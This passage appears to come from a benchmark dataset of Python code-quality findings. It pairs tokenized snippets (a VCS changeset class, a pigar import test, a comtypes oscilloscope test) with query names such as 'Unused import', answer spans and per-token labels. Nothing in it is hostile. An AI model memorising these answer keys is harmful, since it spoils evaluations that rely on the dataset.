"filen", "odes", "\\u", "generator_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "generat", "or", " ", "tha", "t", " ", "yield", "s", " ", "*", "all", "*", " ", "file", " ", "nodes", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "top", "node_", ",_", "dirs_", ",_", "files_", "in_", "self_", "._", "walk_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "node_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "as", "\\u", "dict_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "dictionar", "y", " ", "with", " ", "changeset", "'", "s", " ", "attribute", "s", " ", "and", " ", "thei", "r", " ", "values", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "get", "\\u", "dict", "\\u", "for", "\\u", "attrs_", "(_", "self_", ",_", "[_", "'", "id", "'_", ",_", "'", "raw", "\\u", "id", "'_", ",_", "'", "short", "\\u", "id", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "revis", "ion", "'_", ",_", "'", "date", "'_", ",_", "'", "message", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "author", "'_", "]_", "=_", "{_", "'", "name", "'_", ":_", "self_", "._", "author", "\\u", "name_", ",_", "'", "email", "'_", ":_", "self_", "._", "author", "\\u", "email_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "adde", "d", "'_", "]_", "=_", "[_", "node_", "._", "path_", "for_", "node_", "in_", "self_", "._", "added_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "change", "d", "'_", "]_", "=_", "[_", "node_", "._", "path_", "for_", "node_", "in_", "self_", "._", "changed_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "remove", "d", "'_", "]_", "=_", "[_", "node_", "._", "path_", "for_", "node_", "in_", "self_", "._", "removed_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "dummy", " ", "empty", " ", "changeset", ".", " ", "It", "'", "s", " ", "possib", "le", " ", "to", " ", "pass", " ", "hash", " ", "whe", "n", " ", "creati", "ng", "\\", "10", ";", " ", " ", " ", " ", "an", " ", "Emp", "ty", "Change", "set", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "cs_", "=_", "'", "0", "'_", "*_", "40_", ",_", "repo_", "=_", "None_", ",_", "request", "ed", "\\u", "revision_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "alias_", "=_", "None_", ",_", "revision_", "=_", "-_", "1_", ",_", "message_", "=_", "''_", ",_", "author_", "=_", "''_", ",_", "date_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "empty", "\\u", "cs_", "=_", "cs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "revision_", "=_", "revision_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "message_", "=_", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "author_", "=_", "author_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "date_", "=_", "date_", "or_", "datetime_", "._", "datetime_", "._", "fromtimestamp_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "repository_", "=_", "repo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "ed", "\\u", "revision_", "=_", "request", "ed", "\\u", "revision_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "alias_", "=_", "alias_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "raw", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "raw", " ", "string", " ", "identify", "ing", " ", "this", " ", "changeset", ",", " ", "usef", "ul", " ", "for", " ", "web", "\\", "10", ";", " ", " ", " ", " ", "represent", "ation", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "._", "\\u", "empty", "\\u", "cs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "branch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "vcs_", "._", "backends_", "import_", "get", "\\u", "backend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "get", "\\u", "backend_", "(_", "self_", "._", "alias_", ")_", "._", "DEF", "AUL", "T", "\\u", "BRANCH", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "short", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "raw", "\\u", "id_", "[_", ":_", "12_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "changeset_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "content_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Emp", "ty", "Change", "set_", "(_", "Base", "Change", "set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "size_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Damnever/pigar/pigar/tests/imports_example/example2.py
[ { "content": "# -*- coding: utf-8 -*-\n\ntry:\n import urlparse as parse # Py2\nexcept ImportError:\n from urllib import parse # Py3\ntry:\n import __builtin__ as builtins # Py2\nexcept ImportError:\n import builtins # Py3\n\nimport example1\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import urlparse as parse ", "start_line": 3, "start_column": 4, "end_line": 3, "end_column": 28 }, { "span": "from urllib import parse ", "start_line": 5, "start_column": 4, "end_line": 5, "end_column": 28 }, { "span": "import __builtin__ as builtins ", "start_line": 7, "start_column": 4, "end_line": 7, "end_column": 34 }, { "span": "import builtins ", "start_line": 9, "start_column": 4, "end_line": 9, "end_column": 19 }, { "span": "import example1", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "urlparse_", "as_", "parse_", "#", " ", "Py", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "urllib_", "import_", "parse_", "#", " ", "Py", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "\\u\\u", "builtin\\u\\u_", "as_", "builtins_", "#", " ", "Py", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "builtins_", "#", " ", "Py", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "example", "1_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1 ]
Wrong number of arguments in a call
enthought/comtypes/comtypes/test/test_agilent.py
[ { "content": " def test(self):\n # The point of this test is the ReadWaveform method below,\n # which takes several [in, out] arguments.\n agDrvr = CreateObject(\"Agilent546XX.Agilent546XX\")\n\n # XXX XXX XXX The following call crashes hard with an accessviolation when\n # the OANOCACHE environ variable is set.\n import os\n if \"OANOCACHE\" in os.environ:\n print \"Cannot test. buggy COM object?\"\n return\n\n # Initialize the driver in simulation mode. Resource descriptor is ignored.\n agDrvr.Initialize(\"\", False, False, \"Simulate=true\")\n # Initialize driver. Edit resource descriptor for your system.\n # agDrvr.Initialize(\"GPIB0::7::INSTR\", False, False, \"QueryInstrStatus=true\")\n\n from comtypes.gen import IviScopeLib\n iviDrvr = agDrvr.QueryInterface(IviScopeLib.IIviScope)\n\n # Get driver Identity properties. Driver initialization not required.\n## print \"Identifier:\", iviDrvr.Identity.Identifier\n## print \" Revision:\", agDrvr.Identity.Revision\n## print \"Description:\", agDrvr.Identity.Description\n\n # Get instrument Identity properties.\n## print \"InstrumentModel: \", agDrvr.Identity.InstrumentModel\n## print \" FirmwareRevision: \", agDrvr.Identity.InstrumentFirmwareRevision\n## print \" SerialNumber: \", agDrvr.System.SerialNumber\n\n # Setup for a measurement. Reset in this case.\n agDrvr.Utility.Reset()\n\n pMeasurement = agDrvr.Measurements.Item(\"UserChannel1\")\n # ReadWaveform() takes a sweep and reads the data.\n #\n # Definition generated for ReadWaveform():\n #COMMETHOD([helpstring(u'Acquires and returns a waveform on the configured channels.')],\n # HRESULT, 'ReadWaveform',\n # ( ['in'], Agilent546XXTimeOutEnum, 'MaxTime' ),\n # ( ['in', 'out'], POINTER(_midlSAFEARRAY(c_double)), 'pWaveformArray' ),\n # ( ['in', 'out'], POINTER(c_double), 'pInitialX' ),\n # ( ['in', 'out'], POINTER(c_double), 'pXIncrement' )),\n\n # [in, out] arguments are now optional (comtypes\n # constructs an empty default value when nothing is\n # passed).\n psaWaveform = _midlSAFEARRAY(c_double).create([])\n self._check_result(pMeasurement.ReadWaveform(20000))\n self._check_result(pMeasurement.ReadWaveform(20000, pInitialX=9.0))\n self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0, pInitialX=3.0))\n self._check_result(pMeasurement.ReadWaveform(20000))\n self._check_result(pMeasurement.ReadWaveform(20000, []))\n self._check_result(pMeasurement.ReadWaveform(20000, pWaveformArray = []))\n self._check_result(pMeasurement.ReadWaveform(20000, psaWaveform))\n self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0))", "metadata": "root.Test.test", "header": "['class', 'Test', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def _check_result(self, (array, initial_x, x_increment)):\n # ReadWaveform, in simulation mode, returns three values:\n #\n # - a safearray containing 100 random double values,\n # unpacked and returned as tuple\n # - the initial_x value: 0.0\n # - the x_increment value: 0.0\n self.failUnlessEqual(len(array), 100)\n self.failIf([x for x in array if not isinstance(x, float)])\n self.failUnlessEqual(initial_x, 0.0)\n self.failUnlessEqual(x_increment, 0.0)", "metadata": "root.Test._check_result", "header": "['class', 'Test', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 74 } ]
[ { "span": "self._check_result(pMeasurement.ReadWaveform(20000))", "start_line": 65, "start_column": 12, "end_line": 65, "end_column": 64 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pInitialX=9.0))", "start_line": 66, "start_column": 12, "end_line": 66, "end_column": 79 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0, pInitialX=3.0))", "start_line": 67, "start_column": 12, "end_line": 67, "end_column": 96 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000))", "start_line": 68, "start_column": 12, "end_line": 68, "end_column": 64 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, []))", "start_line": 69, "start_column": 12, "end_line": 69, "end_column": 68 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pWaveformArray = []))", "start_line": 70, "start_column": 12, "end_line": 70, "end_column": 85 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, psaWaveform))", "start_line": 71, "start_column": 12, "end_line": 71, "end_column": 77 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0))", "start_line": 72, "start_column": 12, "end_line": 72, "end_column": 81 } ]
[ { "span": "def _check_result(self, (array, initial_x, x_increment)):", "start_line": 74, "start_column": 8, "end_line": 74, "end_column": 65 } ]
1
false
[ "[CLS]_", "Wro", "ng_", "number_", "of_", "arguments_", "in_", "a_", "call_", "[SEP]_", "class_", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "point", " ", "of", " ", "this", " ", "test", " ", "is", " ", "the", " ", "Read", "Wavef", "orm", " ", "method", " ", "belo", "w", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whi", "ch", " ", "take", "s", " ", "sever", "al", " ", "[", "in", ",", " ", "out", "]", " ", "argu", "ment", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ag", "Dr", "vr_", "=_", "Creat", "e", "Object_", "(_", "\"", "Ag", "ilen", "t5", "4", "6", "XX", ".", "Ag", "ilen", "t5", "4", "6", "XX", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "XX", "X", " ", "XX", "X", " ", "XX", "X", " ", "The", " ", "follow", "ing", " ", "call", " ", "crashes", " ", "hard", " ", "with", " ", "an", " ", "access", "violation", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "OA", "NOC", "ACH", "E", " ", "environ", " ", "variab", "le", " ", "is", " ", "set", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "OA", "NOC", "ACH", "E", "\"_", "in_", "os_", "._", "environ_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Cann", "ot", " ", "test", ".", " ", "bug", "gy", " ", "COM", " ", "object", "?\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "the", " ", "driver", " ", "in", " ", "simulati", "on", " ", "mode", ".", " ", " ", "Reso", "urc", "e", " ", "descrip", "tor", " ", "is", " ", "ignore", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ag", "Dr", "vr_", "._", "Initializ", "e_", "(_", "\"\"_", ",_", "False_", ",_", "False_", ",_", "\"", "Simulate", "=", "true", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "driver", ".", " ", " ", "Edit", " ", "resource", " ", "descrip", "tor", " ", "for", " ", "your", " ", "system", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ag", "Dr", "vr", ".", "Initializ", "e", "(\"", "GP", "IB", "0", "::", "7", "::", "INST", "R", "\",", " ", "Fal", "se", ",", " ", "Fal", "se", ",", " ", "\"", "Query", "Instr", "Status", "=", "true", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "com", "types_", "._", "gen_", "import_", "Iv", "i", "Sco", "pe", "Lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ivi", "Dr", "vr_", "=_", "ag", "Dr", "vr_", "._", "Query", "Interface_", "(_", "Iv", "i", "Sco", "pe", "Lib_", "._", "II", "vi", "Scope_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "driver", " ", "Ident", "it", "y", " ", "proper", "ties", ".", " ", " ", "Drive", "r", " ", "initialization", " ", "not", " ", "require", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "print", " ", "\"", "Identifie", "r", ":\"", ",", " ", "ivi", "Dr", "vr", ".", "Ident", "it", "y", ".", "Identifier_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "print", " ", "\"", " ", " ", " ", "Revi", "sion", ":\"", ",", " ", " ", "ag", "Dr", "vr", ".", "Ident", "it", "y", ".", "Revision_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "print", " ", "\"", "Descripti", "on", ":\"", ",", " ", "ag", "Dr", "vr", ".", "Ident", "it", "y", ".", "Description_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "instrument", " ", "Ident", "it", "y", " ", "proper", "ties", "._", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "print", " ", "\"", "Instrum", "ent", "Model", ":", " ", "\",", " ", "ag", "Dr", "vr", ".", "Ident", "it", "y", ".", "Instrum", "ent", "Model_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "print", " ", "\"", " ", " ", " ", "Firm", "ware", "Revi", "sion", ":", " ", "\",", " ", "ag", "Dr", "vr", ".", "Ident", "it", "y", ".", "Instrum", "ent", "Firm", "ware", "Revision_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", " ", " ", " ", "print", " ", "\"", " ", " ", " ", "Ser", "ial", "Number", ":", " ", "\",", " ", "ag", "Dr", "vr", ".", "System", ".", "Ser", "ial", "Number_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", "up", " ", "for", " ", "a", " ", "measure", "ment", ".", " ", " ", "Reset", " ", "in", " ", "this", " ", "case", "._", "\\u\\u\\uNL\\u\\u\\u_", "ag", "Dr", "vr_", "._", "Utility_", "._", "Reset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p", "Measurement", "_", "=_", "ag", "Dr", "vr_", "._", "Measurement", "s_", "._", "Item_", "(_", "\"", "User", "Chan", "nel", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Read", "Wavef", "orm", "()", " ", "take", "s", " ", "a", " ", "sweep", " ", "and", " ", "reads", " ", "the", " ", "data", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Definit", "ion", " ", "generat", "ed", " ", "for", " ", "Read", "Wavef", "orm", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "COMM", "ETH", "OD", "([", "helps", "tring", "(", "u", "'", "Acquire", "s", " ", "and", " ", "return", "s", " ", "a", " ", "waveform", " ", "on", " ", "the", " ", "configur", "ed", " ", "channel", "s", ".'", ")]", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "HRE", "SUL", "T", ",", " ", "'", "Read", "Wavef", "orm", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "(", " ", "['", "in", "']", ",", " ", "Ag", "ilen", "t5", "4", "6", "XX", "Time", "Out", "Enum", ",", " ", "'", "Max", "Time", "'", " ", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "(", " ", "['", "in", "',", " ", "'", "out", "']", ",", " ", "POINTER", "(\\u", "mid", "l", "SAFE", "ARR", "AY", "(", "c\\u", "double", "))", ",", " ", "'", "p", "Wavef", "orm", "Array", "'", " ", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "(", " ", "['", "in", "',", " ", "'", "out", "']", ",", " ", "POINTER", "(", "c\\u", "double", "),", " ", "'", "p", "Initial", "X", "'", " ", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "(", " ", "['", "in", "',", " ", "'", "out", "']", ",", " ", "POINTER", "(", "c\\u", "double", "),", " ", "'", "p", "XI", "ncr", "ement", "'", " ", "))", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "[", "in", ",", " ", "out", "]", " ", "argu", "ment", "s", " ", "are", " ", "now", " ", "option", "al", " ", "(", "com", "types_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "construct", "s", " ", "an", " ", "empty", " ", "default", " ", "value", " ", "whe", "n", " ", "not", "hing", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass", "ed", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "ps", "a", "Wavef", "orm_", "=_", "\\u", "mid", "l", "SAFE", "ARRAY_", "(_", "c\\u", "double_", ")_", "._", "create_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ",_", "p", "Initial", "X_", "=_", "9.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ",_", "p", "XI", "ncr", "ement_", "=_", "9.0_", ",_", "p", "Initial", "X_", "=_", "3.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ",_", "p", "Wavef", "orm", "Array_", "=_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ",_", "ps", "a", "Wavef", "orm_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "result_", "(_", "p", "Measurement", "_", "._", "Read", "Wavef", "orm_", "(_", "20000_", ",_", "p", "XI", "ncr", "ement_", "=_", "9.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "result_", "(_", "self_", ",_", "(_", "array_", ",_", "initial", "\\u", "x_", ",_", "x", "\\u", "increment_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Read", "Wavef", "orm", ",", " ", "in", " ", "simulati", "on", " ", "mode", ",", " ", "return", "s", " ", "three", " ", "values", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "a", " ", "safe", "array", " ", "contain", "ing", " ", "100", " ", "random", " ", "double", " ", "values", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", 